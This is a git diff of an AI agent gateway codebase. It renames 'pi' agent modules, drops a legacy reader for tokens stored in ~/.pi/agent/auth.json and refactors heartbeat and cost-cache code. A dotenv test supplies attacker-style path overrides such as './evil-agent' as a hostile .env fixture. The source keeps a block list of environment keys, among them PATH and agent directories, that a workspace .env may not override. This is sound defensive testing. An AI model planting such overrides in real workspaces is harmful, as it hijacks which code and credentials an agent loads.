253d052247c..675b176384b 100644 --- a/src/gateway/tools-invoke-http.test.ts +++ b/src/gateway/tools-invoke-http.test.ts @@ -1,7 +1,7 @@ import { createServer, type IncomingMessage, type ServerResponse } from "node:http"; import type { AddressInfo } from "node:net"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import type { runBeforeToolCallHook as runBeforeToolCallHookType } from "../agents/pi-tools.before-tool-call.js"; +import type { runBeforeToolCallHook as runBeforeToolCallHookType } from "../agents/agent-tools.before-tool-call.js"; type RunBeforeToolCallHook = typeof runBeforeToolCallHookType; type RunBeforeToolCallHookArgs = Parameters[0]; @@ -203,11 +203,11 @@ vi.mock("../agents/openclaw-tools.js", () => { }; }); -vi.mock("../agents/pi-tools.js", () => ({ +vi.mock("../agents/agent-tools.js", () => ({ resolveToolLoopDetectionConfig: hookMocks.resolveToolLoopDetectionConfig, })); -vi.mock("../agents/pi-tools.before-tool-call.js", () => ({ +vi.mock("../agents/agent-tools.before-tool-call.js", () => ({ runBeforeToolCallHook: hookMocks.runBeforeToolCallHook, })); diff --git a/src/gateway/tools-invoke-shared.ts b/src/gateway/tools-invoke-shared.ts index a85b7096130..aa782c8dfa9 100644 --- a/src/gateway/tools-invoke-shared.ts +++ b/src/gateway/tools-invoke-shared.ts @@ -1,6 +1,6 @@ +import { runBeforeToolCallHook } from "../agents/agent-tools.before-tool-call.js"; +import { resolveToolLoopDetectionConfig } from "../agents/agent-tools.js"; import { getChannelAgentToolMeta } from "../agents/channel-tools.js"; -import { runBeforeToolCallHook } from "../agents/pi-tools.before-tool-call.js"; -import { resolveToolLoopDetectionConfig } from "../agents/pi-tools.js"; import { isKnownCoreToolId } from "../agents/tool-catalog.js"; import { ToolInputError, type AnyAgentTool } from "../agents/tools/common.js"; import { resolveMainSessionKey } from "../config/sessions.js"; diff --git a/src/hooks/bundled/session-memory/handler.test.ts b/src/hooks/bundled/session-memory/handler.test.ts index 3bcd2865b29..9da99f84130 100644 --- a/src/hooks/bundled/session-memory/handler.test.ts +++ b/src/hooks/bundled/session-memory/handler.test.ts @@ -13,7 +13,7 @@ import { getRecentSessionContentWithResetFallback, } from "./transcript.js"; -// Avoid calling the embedded Pi agent (global command lane); keep this unit test deterministic. +// Avoid calling the embedded OpenClaw agent (global command lane); keep this unit test deterministic. vi.mock("../../llm-slug-generator.js", () => ({ generateSlugViaLLM: vi.fn().mockResolvedValue("simple-math"), })); diff --git a/src/hooks/llm-slug-generator.test.ts b/src/hooks/llm-slug-generator.test.ts index 3de01408941..ef8d318e12b 100644 --- a/src/hooks/llm-slug-generator.test.ts +++ b/src/hooks/llm-slug-generator.test.ts @@ -1,7 +1,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -const runEmbeddedPiAgentMock = vi.fn(); +const runEmbeddedAgentMock = vi.fn(); vi.mock("../agents/agent-scope.js", () => ({ resolveDefaultAgentId: vi.fn(() => "main"), @@ -16,28 +16,28 @@ vi.mock("../agents/agent-scope.js", () => ({ }), })); -vi.mock("../agents/pi-embedded.js", () => ({ - runEmbeddedPiAgent: (...args: unknown[]) => runEmbeddedPiAgentMock(...args), +vi.mock("../agents/embedded-agent.js", () => ({ + runEmbeddedAgent: (...args: unknown[]) => runEmbeddedAgentMock(...args), })); import { generateSlugViaLLM } from "./llm-slug-generator.js"; function requireFirstRunOptions(): Record { - const [call] = runEmbeddedPiAgentMock.mock.calls; + const [call] = runEmbeddedAgentMock.mock.calls; if (!call) { - throw new Error("expected embedded Pi agent run"); + throw new Error("expected embedded OpenClaw agent run"); } const [options] = call; if (!options || typeof options !== "object") { - throw new Error("expected embedded Pi agent run options"); + throw new Error("expected embedded OpenClaw agent run options"); } return options as Record; } describe("generateSlugViaLLM", () => { beforeEach(() => { - runEmbeddedPiAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockReset(); + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "test-slug" }], }); }); @@ -48,7 +48,7 @@ describe("generateSlugViaLLM", () => { cfg: {} as OpenClawConfig, }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); const options = requireFirstRunOptions(); expect(options.timeoutMs).toBe(15_000); expect(options.cleanupBundleMcpOnRunEnd).toBe(true); @@ -66,7 +66,7 @@ describe("generateSlugViaLLM", () => { } as OpenClawConfig, }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); expect(requireFirstRunOptions().timeoutMs).toBe(500_000); }); @@ -100,7 +100,7 @@ describe("generateSlugViaLLM", () => { } as OpenClawConfig, }); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); const options = requireFirstRunOptions(); expect(options.provider).toBe("openai-codex"); expect(options.model).toBe("gpt-5.5"); diff --git a/src/hooks/llm-slug-generator.ts b/src/hooks/llm-slug-generator.ts index 7f656831c3f..245dac4e90d 100644 --- a/src/hooks/llm-slug-generator.ts +++ b/src/hooks/llm-slug-generator.ts @@ -10,8 +10,8 @@ import { resolveAgentWorkspaceDir, resolveAgentDir, } from "../agents/agent-scope.js"; +import { runEmbeddedAgent } from "../agents/embedded-agent.js"; import { resolveDefaultModelForAgent } from "../agents/model-selection.js"; -import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { resolveAgentTimeoutMs } from "../agents/timeout.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; @@ -59,7 +59,7 @@ Reply with ONLY the slug, nothing else. Examples: "vendor-pitch", "api-design", }); const timeoutMs = resolveSlugGeneratorTimeoutMs(params.cfg); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ sessionId: `slug-generator-${Date.now()}`, sessionKey: "temp:slug-generator", agentId, diff --git a/src/infra/abort-pattern.test.ts b/src/infra/abort-pattern.test.ts index b233643699a..6ceeb9b3eb6 100644 --- a/src/infra/abort-pattern.test.ts +++ b/src/infra/abort-pattern.test.ts @@ -84,7 +84,7 @@ describe("abort pattern: .bind() vs arrow closure (#7174)", () => { }); it("bindAbortRelay() forwards abort through combined signals", () => { - // Simulates the combineAbortSignals pattern from pi-tools.abort.ts + // Simulates the combineAbortSignals pattern from agent-tools.abort.ts const signalA = new AbortController(); const signalB = new AbortController(); const combined = new AbortController(); diff --git a/src/infra/dotenv.test.ts b/src/infra/dotenv.test.ts index 607fb25ab87..9e2744f0864 100644 --- a/src/infra/dotenv.test.ts +++ b/src/infra/dotenv.test.ts @@ -382,7 +382,7 @@ describe("loadDotEnv", () => { }); }); - it("blocks path-override vars (OPENCLAW_AGENT_DIR, OPENCLAW_BUNDLED_PLUGINS_DIR, PI_CODING_AGENT_DIR, OPENCLAW_OAUTH_DIR) from workspace .env", async () => { + it("blocks path-override vars from workspace .env", async () => { await withIsolatedEnvAndCwd(async () => { await withDotEnvFixture(async ({ base, cwdDir }) => { const bundledPluginsDir = path.join(base, "attacker-bundled"); @@ -391,22 +391,22 @@ describe("loadDotEnv", () => { [ "OPENCLAW_AGENT_DIR=./evil-agent", `OPENCLAW_BUNDLED_PLUGINS_DIR=${bundledPluginsDir}`, - "PI_CODING_AGENT_DIR=./evil-coding", "OPENCLAW_OAUTH_DIR=./evil-oauth", + "PI_CODING_AGENT_DIR=./evil-pi-agent", ].join("\n"), ); delete process.env.OPENCLAW_AGENT_DIR; delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; - delete process.env.PI_CODING_AGENT_DIR; delete process.env.OPENCLAW_OAUTH_DIR; + delete process.env.PI_CODING_AGENT_DIR; loadWorkspaceDotEnvFile(path.join(cwdDir, ".env"), { quiet: true }); expect(process.env.OPENCLAW_AGENT_DIR).toBeUndefined(); expect(process.env.OPENCLAW_BUNDLED_PLUGINS_DIR).toBeUndefined(); - expect(process.env.PI_CODING_AGENT_DIR).toBeUndefined(); expect(process.env.OPENCLAW_OAUTH_DIR).toBeUndefined(); + expect(process.env.PI_CODING_AGENT_DIR).toBeUndefined(); }); }); }); diff --git a/src/infra/dotenv.ts b/src/infra/dotenv.ts index 9f4f302b542..56f612efc2f 100644 --- a/src/infra/dotenv.ts +++ b/src/infra/dotenv.ts @@ -78,8 +78,8 @@ const BLOCKED_WORKSPACE_DOTENV_KEYS = new Set([ "OPENCLAW_SKIP_BROWSER_CONTROL_SERVER", "OPENCLAW_STATE_DIR", "OPENCLAW_TEST_TAILSCALE_BINARY", - "PI_CODING_AGENT_DIR", "PATH", + "PI_CODING_AGENT_DIR", "PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH", "PROGRAMFILES", "PROGRAMFILES(X86)", diff --git a/src/infra/heartbeat-runner.tool-response.test.ts b/src/infra/heartbeat-runner.tool-response.test.ts index 52e941b77ee..64253f8569a 100644 --- a/src/infra/heartbeat-runner.tool-response.test.ts +++ b/src/infra/heartbeat-runner.tool-response.test.ts @@ -260,6 +260,21 @@ describe("runHeartbeatOnce heartbeat response tool", () => { expectHeartbeatToolPrompt(result); }); + it.each([ + ["agentHarnessId", { agentHarnessId: "codex" }], + ["agentRuntimeOverride", { agentRuntimeOverride: "codex" }], + ])( + "preserves persisted Codex runtime from %s for non-OpenAI heartbeat sessions", + async (_field, session) => { + const result = await runPromptScenario({ + config: { model: "anthropic/claude-sonnet-4-6" }, + session, + }); + + expectHeartbeatToolPrompt(result); + }, + ); + it("delivers Codex runtime failure notices during Codex heartbeat message-tool mode", async () => { await withTempTelegramHeartbeatSandbox(async ({ tmpDir, storePath, replySpy }) => { const cfg = createConfig({ tmpDir, storePath }); @@ -356,7 +371,7 @@ describe("runHeartbeatOnce heartbeat response tool", () => { config: { agentRuntimeId: "codex", model: "openai/gpt-5.5", - modelRuntimeId: "pi", + modelRuntimeId: "native", }, }); diff --git a/src/infra/heartbeat-runner.ts b/src/infra/heartbeat-runner.ts index 3091e7d51dd..be382ecbf07 100644 --- a/src/infra/heartbeat-runner.ts +++ b/src/infra/heartbeat-runner.ts @@ -5,18 +5,19 @@ import { hasOutboundReplyContent, resolveSendableOutboundReplyParts, } from "openclaw/plugin-sdk/reply-payload"; +import { normalizeOptionalAgentRuntimeId } from "../agents/agent-runtime-id.js"; import { - listAgentEntries, listAgentIds, resolveAgentConfig, resolveAgentWorkspaceDir, resolveDefaultAgentId, } from "../agents/agent-scope.js"; import { appendCronStyleCurrentTimeLine } from "../agents/current-time.js"; +import { resolveEmbeddedSessionLane } from "../agents/embedded-agent-runner/lanes.js"; +import { formatReasoningMessage } from "../agents/embedded-agent-utils.js"; import { resolveAgentHarnessPolicy } from "../agents/harness/policy.js"; import { resolveModelRefFromString, type ModelRef } from "../agents/model-selection.js"; -import { resolveEmbeddedSessionLane } from "../agents/pi-embedded-runner/lanes.js"; -import { formatReasoningMessage } from "../agents/pi-embedded-utils.js"; +import { resolvePersistedSessionRuntimeId } from "../agents/session-runtime-compat.js"; import { DEFAULT_HEARTBEAT_FILENAME } from "../agents/workspace.js"; import { resolveHeartbeatReplyPayload } from "../auto-reply/heartbeat-reply-payload.js"; import { @@ -441,51 +442,19 @@ function resolveHeartbeatModelRef(params: { }; } -function normalizeHeartbeatRuntimeId(raw: string | undefined): string { - const normalized = normalizeLowercaseStringOrEmpty(raw); - return normalized === "codex-app-server" ? "codex" : normalized; -} - -function resolvePinnedHeartbeatRuntimeId(entry: SessionEntry | undefined): string { - const runtimeId = - normalizeHeartbeatRuntimeId(entry?.agentHarnessId) || - normalizeHeartbeatRuntimeId(entry?.agentRuntimeOverride); - return runtimeId === "auto" ? "" : runtimeId; -} - function usesCodexHarness(params: { cfg: OpenClawConfig; agentId: string; heartbeat?: HeartbeatConfig; entry?: SessionEntry; }): boolean { - const normalizedAgentId = normalizeAgentId(params.agentId); - const agentEntry = listAgentEntries(params.cfg).find( - (candidate) => normalizeAgentId(candidate.id) === normalizedAgentId, - ); - const runtimeId = - resolvePinnedHeartbeatRuntimeId(params.entry) || - normalizeHeartbeatRuntimeId(process.env.OPENCLAW_AGENT_RUNTIME) || - normalizeHeartbeatRuntimeId(agentEntry?.agentRuntime?.id) || - normalizeHeartbeatRuntimeId(agentEntry?.embeddedHarness?.runtime) || - resolveConfiguredHeartbeatModelRuntimeId(params) || - normalizeHeartbeatRuntimeId(params.cfg.agents?.defaults?.agentRuntime?.id) || - normalizeHeartbeatRuntimeId(params.cfg.agents?.defaults?.embeddedHarness?.runtime); - if (runtimeId === "codex") { + const persistedRuntimeId = resolvePersistedSessionRuntimeId(params.entry); + if (persistedRuntimeId === "codex") { return true; } - if (runtimeId && runtimeId !== "auto") { + if (persistedRuntimeId && persistedRuntimeId !== "auto") { return false; } - return normalizeLowercaseStringOrEmpty(resolveHeartbeatModelRef(params).provider) === "codex"; -} - -function resolveConfiguredHeartbeatModelRuntimeId(params: { - cfg: OpenClawConfig; - agentId: string; - heartbeat?: HeartbeatConfig; - entry?: SessionEntry; -}): string { const modelRef = resolveHeartbeatModelRef(params); const policy = resolveAgentHarnessPolicy({ config: params.cfg, @@ -493,11 +462,14 @@ function resolveConfiguredHeartbeatModelRuntimeId(params: { modelId: modelRef.model, agentId: params.agentId, }); - if (policy.runtimeSource === "implicit") { - return ""; + const runtimeId = normalizeOptionalAgentRuntimeId(policy.runtime); + if (runtimeId === "codex") { + return true; } - const runtime = normalizeHeartbeatRuntimeId(policy.runtime); - return runtime === "auto" ? "" : runtime; + if (runtimeId && runtimeId !== "auto") { + return false; + } + return normalizeLowercaseStringOrEmpty(modelRef.provider) === "codex"; } function shouldUseHeartbeatResponseToolPrompt(params: { diff --git a/src/infra/npm-managed-root.test.ts b/src/infra/npm-managed-root.test.ts index 20b122d9b38..2d721f9781f 100644 --- a/src/infra/npm-managed-root.test.ts +++ b/src/infra/npm-managed-root.test.ts @@ -278,14 +278,14 @@ describe("managed npm root", () => { { name: "openclaw", dependencies: { - "@aws-sdk/client-bedrock-runtime": "3.1024.0", + "managed-runtime": "3.1024.0", "node-domexception": "npm:@nolyfill/domexception@1.0.28", }, optionalDependencies: { "optional-runtime": "2.0.0", }, overrides: { - "@aws-sdk/client-bedrock-runtime": "$@aws-sdk/client-bedrock-runtime", + "managed-runtime": "$managed-runtime", nested: { "optional-runtime": "$optional-runtime", alias: "$node-domexception", @@ -300,7 +300,7 @@ describe("managed npm root", () => { ); await expect(readOpenClawManagedNpmRootOverrides({ packageRoot })).resolves.toEqual({ - "@aws-sdk/client-bedrock-runtime": "3.1024.0", + "managed-runtime": "3.1024.0", nested: { "optional-runtime": "2.0.0", alias: "npm:@nolyfill/domexception@1.0.28", diff --git a/src/infra/outbound/message-action-runner.ts b/src/infra/outbound/message-action-runner.ts index 24e9bba2953..2c05e604de3 100644 --- a/src/infra/outbound/message-action-runner.ts +++ b/src/infra/outbound/message-action-runner.ts @@ -1,6 +1,6 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { resolveSendableOutboundReplyParts } from "openclaw/plugin-sdk/reply-payload"; import { resolveSessionAgentId } from "../../agents/agent-scope.js"; +import type { AgentToolResult } from "../../agents/runtime/index.js"; import { readNumberParam, readStringArrayParam, diff --git a/src/infra/outbound/outbound-send-service.ts b/src/infra/outbound/outbound-send-service.ts index 50c7e70d410..4264e8d0f15 100644 --- a/src/infra/outbound/outbound-send-service.ts +++ b/src/infra/outbound/outbound-send-service.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "../../agents/runtime/index.js"; import type { ReplyPayload } from "../../auto-reply/reply-payload.js"; import type { InboundEventKind } from "../../channels/inbound-event/kind.js"; import { dispatchChannelMessageAction } from "../../channels/plugins/message-action-dispatch.js"; diff --git a/src/infra/provider-usage.auth.normalizes-keys.test.ts b/src/infra/provider-usage.auth.normalizes-keys.test.ts index 854fdf0f967..b7da0659878 100644 --- a/src/infra/provider-usage.auth.normalizes-keys.test.ts +++ b/src/infra/provider-usage.auth.normalizes-keys.test.ts @@ -1,6 +1,5 @@ import nodeFs from "node:fs"; import fs from "node:fs/promises"; -import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { NON_ENV_SECRETREF_MARKER } from "../agents/model-auth-markers.js"; @@ -157,33 +156,12 @@ const providerRuntimeMocks = vi.hoisted(() => ({ providerIds?: string[]; envDirect?: Array; }) => params.context.resolveApiKeyFromConfigAndStore(options); - const resolveLegacyZaiToken = (): string | null => { - const home = params.context.env?.HOME ?? params.context.env?.USERPROFILE; - if (!home) { - return null; - } - try { - const parsed = JSON.parse( - nodeFs.readFileSync(path.join(home, ".pi", "agent", "auth.json"), "utf8"), - ) as { - "z-ai"?: { access?: string }; - }; - return parsed["z-ai"]?.access ?? null; - } catch { - return null; - } - }; - if (params.provider === "zai") { const token = resolveToken({ providerIds: ["zai", "z-ai"], envDirect: [params.context.env?.ZAI_API_KEY, params.context.env?.Z_AI_API_KEY], }); - return token - ? { token } - : resolveLegacyZaiToken() - ? { token: resolveLegacyZaiToken()! } - : null; + return token ? { token } : null; } if (params.provider === "minimax") { @@ -375,12 +353,6 @@ describe("resolveProviderAuths key normalization", () => { ); } - async function writeLegacyPiAuth(home: string, raw: string) { - const legacyDir = path.join(home, ".pi", "agent"); - await fs.mkdir(legacyDir, { recursive: true }); - await fs.writeFile(path.join(legacyDir, "auth.json"), raw, "utf8"); - } - function createTestModelDefinition(): ModelDefinitionConfig { return { id: "test-model", @@ -521,21 +493,6 @@ describe("resolveProviderAuths key normalization", () => { expect(auths).toEqual([{ provider: "anthropic", token: "token-1", accountId: "acc-1" }]); }); - it("falls back to legacy .pi auth file for zai keys even after os.homedir() is primed", async () => { - // Prime os.homedir() to simulate long-lived workers that may have touched it before HOME changes. - os.homedir(); - await expectResolvedAuthsFromSuiteHome({ - providers: ["zai"], - setup: async (home) => { - await writeLegacyPiAuth( - home, - `${JSON.stringify({ "z-ai": { access: "legacy-zai-key" } }, null, 2)}\n`, - ); - }, - expected: [{ provider: "zai", token: "legacy-zai-key" }], - }); - }); - it.each([ { name: "extracts google oauth token from JSON payload in token profiles", @@ -621,16 +578,6 @@ describe("resolveProviderAuths key normalization", () => { }); }); - it("ignores invalid legacy z-ai auth files", async () => { - await expectResolvedAuthsFromSuiteHome({ - providers: ["zai"], - setup: async (home) => { - await writeLegacyPiAuth(home, "{not-json"); - }, - expected: [], - }); - }); - it("discovers oauth provider from config but skips mismatched profile providers", async () => { await withSuiteHome(async (home) => { const config = { diff --git a/src/infra/provider-usage.auth.plugin.test.ts b/src/infra/provider-usage.auth.plugin.test.ts index cae8459d434..fccbadfce0e 100644 --- a/src/infra/provider-usage.auth.plugin.test.ts +++ b/src/infra/provider-usage.auth.plugin.test.ts @@ -147,63 +147,6 @@ describe("resolveProviderAuths plugin boundary", () => { expect(ensureAuthProfileStoreMock).not.toHaveBeenCalled(); }); - it("keeps plugin usage auth when a shared legacy plugin credential source exists", async () => { - await withTempHome(async (homeDir) => { - fs.mkdirSync(path.join(homeDir, ".pi", "agent"), { recursive: true }); - fs.writeFileSync( - path.join(homeDir, ".pi", "agent", "auth.json"), - `${JSON.stringify({ "z-ai": { access: "legacy-zai-token" } })}\n`, - ); - resolveProviderUsageAuthWithPluginMock.mockResolvedValueOnce({ - token: "legacy-zai-token", - }); - await expect( - resolveProviderAuthsForTest({ - providers: ["zai"], - skipPluginAuthWithoutCredentialSource: true, - env: { HOME: homeDir }, - }), - ).resolves.toEqual([ - { - provider: "zai", - token: "legacy-zai-token", - }, - ]); - }); - - expect(providerCalls(resolveProviderUsageAuthWithPluginMock)).toEqual(["zai"]); - expect(ensureAuthProfileStoreMock).not.toHaveBeenCalled(); - }); - - it("keeps legacy plugin credential sources provider-specific", async () => { - await withTempHome(async (homeDir) => { - fs.mkdirSync(path.join(homeDir, ".pi", "agent"), { recursive: true }); - fs.writeFileSync( - path.join(homeDir, ".pi", "agent", "auth.json"), - `${JSON.stringify({ "z-ai": { access: "legacy-zai-token" } })}\n`, - ); - resolveProviderUsageAuthWithPluginMock.mockResolvedValueOnce({ - token: "legacy-zai-token", - }); - - await expect( - resolveProviderAuthsForTest({ - providers: ["anthropic", "zai"], - skipPluginAuthWithoutCredentialSource: true, - env: { HOME: homeDir }, - }), - ).resolves.toEqual([ - { - provider: "zai", - token: "legacy-zai-token", - }, - ]); - }); - - expect(resolveProviderUsageAuthWithPluginMock).toHaveBeenCalledTimes(1); - expect(providerCalls(resolveProviderUsageAuthWithPluginMock)).toEqual(["zai"]); - }); - it("keeps auth-profile credential sources provider-specific", async () => { hasAnyAuthProfileStoreSourceMock.mockReturnValue(true); ensureAuthProfileStoreWithoutExternalProfilesMock.mockReturnValue({ diff --git a/src/infra/provider-usage.auth.ts b/src/infra/provider-usage.auth.ts index 2e99afb3d86..7aae11a430b 100644 --- a/src/infra/provider-usage.auth.ts +++ b/src/infra/provider-usage.auth.ts @@ -23,7 +23,6 @@ import { resolveProviderUsageAuthWithPlugin } from "../plugins/provider-runtime. import { resolveProviderAuthEnvVarCandidates } from "../secrets/provider-env-vars.js"; import { normalizeUniqueStringEntries } from "../shared/string-normalization.js"; import { normalizeSecretInput } from "../utils/normalize-secret-input.js"; -import { resolveLegacyPiAgentAccessToken } from "./provider-usage.shared.js"; import type { UsageProviderId } from "./provider-usage.types.js"; export type ProviderAuth = { @@ -349,10 +348,6 @@ function hasAuthProfileCredentialSource(params: { return false; } -function resolveLegacyPiAgentProviderIds(provider: UsageProviderId): string[] { - return provider === "zai" ? ["z-ai", "zai"] : [provider]; -} - export async function resolveProviderAuths(params: { providers: UsageProviderId[]; auth?: ProviderAuth[]; @@ -426,11 +421,7 @@ export async function resolveProviderAuths(params: { ...stateBase, allowAuthProfileStore, }; - const hasLegacyPiAgentCredentialSource = Boolean( - resolveLegacyPiAgentAccessToken(stateBase.env, resolveLegacyPiAgentProviderIds(provider)), - ); - const hasPluginCredentialSource = - hasDirectCredentialSource || allowAuthProfileStore || hasLegacyPiAgentCredentialSource; + const hasPluginCredentialSource = hasDirectCredentialSource || allowAuthProfileStore; if (hasPluginCredentialSource) { const pluginAuth = await resolveProviderUsageAuthViaPlugin({ diff --git a/src/infra/provider-usage.shared.test.ts b/src/infra/provider-usage.shared.test.ts index 3538d0f77bc..088610bec02 100644 --- a/src/infra/provider-usage.shared.test.ts +++ b/src/infra/provider-usage.shared.test.ts @@ -1,24 +1,5 @@ -import fs from "node:fs/promises"; -import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { withTempDir } from "../test-helpers/temp-dir.js"; -import { - clampPercent, - resolveLegacyPiAgentAccessToken, - resolveUsageProviderId, - withTimeout, -} from "./provider-usage.shared.js"; - -async function withLegacyPiAuthFile( - contents: string, - run: (home: string) => Promise | void, -): Promise { - await withTempDir({ prefix: "openclaw-provider-usage-" }, async (home) => { - await fs.mkdir(path.join(home, ".pi", "agent"), { recursive: true }); - await fs.writeFile(path.join(home, ".pi", "agent", "auth.json"), contents, "utf8"); - await run(home); - }); -} +import { clampPercent, resolveUsageProviderId, withTimeout } from "./provider-usage.shared.js"; describe("provider-usage.shared", () => { afterEach(() => { @@ -27,7 +8,8 @@ describe("provider-usage.shared", () => { }); it.each([ - { value: "z-ai", expected: "zai" }, + { value: "zai", expected: "zai" }, + { value: "z-ai", expected: undefined }, { value: " GOOGLE-GEMINI-CLI ", expected: "google-gemini-cli" }, { value: "minimax-portal", expected: "minimax" }, { value: "minimax-cn", expected: "minimax" }, @@ -83,21 +65,4 @@ describe("provider-usage.shared", () => { expect(clearTimeoutSpy).toHaveBeenCalledTimes(1); }); - - it.each([ - { - name: "reads legacy pi auth tokens for known provider aliases", - contents: `${JSON.stringify({ "z-ai": { access: "legacy-zai-key" } }, null, 2)}\n`, - expected: "legacy-zai-key", - }, - { - name: "returns undefined for invalid legacy pi auth files", - contents: "{not-json", - expected: undefined, - }, - ])("$name", async ({ contents, expected }) => { - await withLegacyPiAuthFile(contents, async (home) => { - expect(resolveLegacyPiAgentAccessToken({ HOME: home }, ["z-ai", "zai"])).toBe(expected); - }); - }); }); diff --git a/src/infra/provider-usage.shared.ts b/src/infra/provider-usage.shared.ts index de036643b2a..0972c3a3869 100644 --- a/src/infra/provider-usage.shared.ts +++ b/src/infra/provider-usage.shared.ts @@ -1,9 +1,4 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; import { normalizeProviderId } from "../agents/provider-id.js"; -import { resolveRequiredHomeDir } from "./home-dir.js"; -import { tryReadJsonSync } from "./json-files.js"; import type { UsageProviderId } from "./provider-usage.types.js"; export const DEFAULT_TIMEOUT_MS = 5000; @@ -71,29 +66,3 @@ export const withTimeout = async (work: Promise, ms: number, fallback: T): } } }; - -function resolveLegacyPiAgentAuthPath(env: NodeJS.ProcessEnv): string { - return path.join(resolveRequiredHomeDir(env, os.homedir), ".pi", "agent", "auth.json"); -} - -export function resolveLegacyPiAgentAccessToken( - env: NodeJS.ProcessEnv, - providerIds: string[], -): string | undefined { - try { - const authPath = resolveLegacyPiAgentAuthPath(env); - if (!fs.existsSync(authPath)) { - return undefined; - } - const parsed = tryReadJsonSync>(authPath); - for (const providerId of providerIds) { - const token = parsed?.[providerId]?.access; - if (typeof token === "string" && token.trim()) { - return token; - } - } - return undefined; - } catch { - return undefined; - } -} diff --git a/src/infra/restart-coordinator.ts b/src/infra/restart-coordinator.ts index f7dd64aecfe..dc4881bbf81 100644 --- a/src/infra/restart-coordinator.ts +++ b/src/infra/restart-coordinator.ts @@ -1,4 +1,4 @@ -import { getActiveEmbeddedRunCount } from "../agents/pi-embedded-runner/run-state.js"; +import { getActiveEmbeddedRunCount } from "../agents/embedded-agent-runner/run-state.js"; import { getTotalPendingReplies } from "../auto-reply/reply/dispatcher-registry.js"; import { getTotalQueueSize } from "../process/command-queue.js"; import { diff --git a/src/infra/session-cost-usage.test.ts b/src/infra/session-cost-usage.test.ts index 033c4e51fa0..40a1a743a68 100644 --- a/src/infra/session-cost-usage.test.ts +++ b/src/infra/session-cost-usage.test.ts @@ -681,6 +681,56 @@ describe("session cost usage", () => { }); }); + it("keeps queued durable aggregate refresh state scoped to the cache path", async () => { + const firstRoot = await makeSessionCostRoot("cost-cache-queued-first"); + const secondRoot = await makeSessionCostRoot("cost-cache-queued-second"); + const writeSession = async (root: string, sessionId: string) => { + const sessionsDir = path.join(root, "agents", "main", "sessions"); + await fs.mkdir(sessionsDir, { recursive: true }); + await fs.writeFile( + path.join(sessionsDir, `${sessionId}.jsonl`), + transcriptText(sessionId, { + type: "message", + timestamp: "2026-02-05T12:00:00.000Z", + message: { + role: "assistant", + usage: { + input: 10, + output: 20, + totalTokens: 30, + cost: { total: 0.03 }, + }, + }, + }), + "utf-8", + ); + }; + + await writeSession(firstRoot, "sess-cache-queued-first"); + await writeSession(secondRoot, "sess-cache-queued-second"); + + vi.useFakeTimers({ toFake: ["setTimeout", "clearTimeout"] }); + try { + await withStateDir(firstRoot, async () => { + requestCostUsageCacheRefresh(); + }); + + await withStateDir(secondRoot, async () => { + const summary = await loadCostUsageSummaryFromCache({ + startMs: Date.UTC(2026, 1, 5), + endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, + requestRefresh: false, + }); + + expect(summary.cacheStatus?.status).toBe("stale"); + }); + + await vi.runAllTimersAsync(); + } finally { + vi.useRealTimers(); + } + }); + it("rebuilds cold durable aggregate cache synchronously when requested", async () => { const root = await makeSessionCostRoot("cost-cache-cold-sync"); const sessionsDir = path.join(root, "agents", "main", "sessions"); diff --git a/src/infra/session-cost-usage.ts b/src/infra/session-cost-usage.ts index 0f5541b8391..ae311124be2 100644 --- a/src/infra/session-cost-usage.ts +++ b/src/infra/session-cost-usage.ts @@ -94,10 +94,12 @@ const logger = createSubsystemLogger("usage-cost-cache"); type UsageCostRefreshState = { agentId?: string; + cachePath: string; config?: OpenClawConfig; fullRefreshRequested: boolean; pendingSessionFiles: Set; running: boolean; + sessionsDir: string; timer?: ReturnType; }; @@ -370,25 +372,23 @@ async function writeUsageCostCache(cachePath: string, cache: UsageCostCacheFile) async function listUsageCountedTranscriptFileStats( agentId?: string, - params?: { minMtimeMs?: number }, + params?: { minMtimeMs?: number; sessionsDir?: string }, ): Promise { - const sessionsDir = resolveSessionTranscriptsDirForAgent(agentId); + const sessionsDir = params?.sessionsDir ?? resolveSessionTranscriptsDirForAgent(agentId); const entries = await fs.promises.readdir(sessionsDir, { withFileTypes: true }).catch(() => []); const tasks = entries .filter((entry) => entry.isFile() && isUsageCountedSessionTranscriptFileName(entry.name)) - .map( - (entry) => async (): Promise => { - const filePath = path.join(sessionsDir, entry.name); - const stats = await fs.promises.stat(filePath).catch(() => null); - if (!stats) { - return undefined; - } - if (params?.minMtimeMs !== undefined && stats.mtimeMs < params.minMtimeMs) { - return undefined; - } - return { filePath, size: stats.size, mtimeMs: stats.mtimeMs }; - }, - ); + .map((entry) => async (): Promise => { + const filePath = path.join(sessionsDir, entry.name); + const stats = await fs.promises.stat(filePath).catch(() => null); + if (!stats) { + return undefined; + } + if (params?.minMtimeMs !== undefined && stats.mtimeMs < params.minMtimeMs) { + return undefined; + } + return { filePath, size: stats.size, mtimeMs: stats.mtimeMs }; + }); const { results } = await runTasksWithConcurrency({ tasks, limit: USAGE_COST_TRANSCRIPT_STAT_CONCURRENCY, @@ -398,8 +398,9 @@ async function listUsageCountedTranscriptFileStats( async function listUsageCountedTranscriptFiles( agentId?: string, + params?: { sessionsDir?: string }, ): Promise { - return 